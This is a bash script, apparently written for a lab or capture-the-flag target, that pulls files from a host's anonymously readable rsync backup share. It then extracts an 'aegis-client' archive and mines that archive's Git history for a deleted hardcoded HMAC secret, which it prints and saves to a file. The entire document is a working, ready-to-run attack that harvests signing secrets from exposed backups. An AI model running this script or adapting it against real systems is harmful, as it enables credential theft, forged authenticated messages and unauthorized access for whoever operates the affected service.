#!/usr/bin/env bash # Recover the AegisProto HMAC secret from the anonymous rsync share and its # Git history. # # Usage: ./aegis_key_recover.sh [target_ip] [workdir] set -euo pipefail TARGET="${1:-192.168.1.101}" WORKDIR="${2:-./aegis-backup}" command -v rsync >/dev/null 2>&1 || { echo "[-] rsync not found" >&2; exit 1; } command -v git >/dev/null 2>&1 || { echo "[-] git not found" >&2; exit 1; } mkdir -p "$WORKDIR" echo "[*] Syncing rsync://${TARGET}/backup/ -> ${WORKDIR}" rsync -av "rsync://${TARGET}/backup/" "$WORKDIR/" TARBALL="$(find "$WORKDIR" -maxdepth 1 -name 'aegis-client-*.tar.gz' | head -n1)" if [[ -z "$TARBALL" ]]; then echo "[-] aegis-client archive not found in ${WORKDIR}" >&2 exit 1 fi tar xzf "$TARBALL" -C "$WORKDIR" SRC="$(find "$WORKDIR" -maxdepth 2 -type d -name aegis-client | head -n1)" if [[ -z "$SRC" ]]; then echo "[-] aegis-client directory not found after extraction" >&2 exit 1 fi cd "$SRC" echo echo "[*] Commit history:" git log --all --oneline echo echo "[*] Searching history for hardcoded HMAC_SECRET..." KEY="$(git log -p --all -S 'HMAC_SECRET' -- aegis_cli.py 2>/dev/null \ | grep -E '^-.*HMAC_SECRET[[:space:]]*=[[:space:]]*b"' \ | head -n1 \ | sed -E 's/.*b"([^"]+)".*/\1/' || true)" if [[ -n "${KEY}" ]]; then echo "[+] HMAC secret: ${KEY}" printf '%s\n' "$KEY" > "$WORKDIR/hmac_secret.txt" echo "[+] Saved to ${WORKDIR}/hmac_secret.txt" else echo "[-] No hardcoded secret found in the commit history" exit 1 fi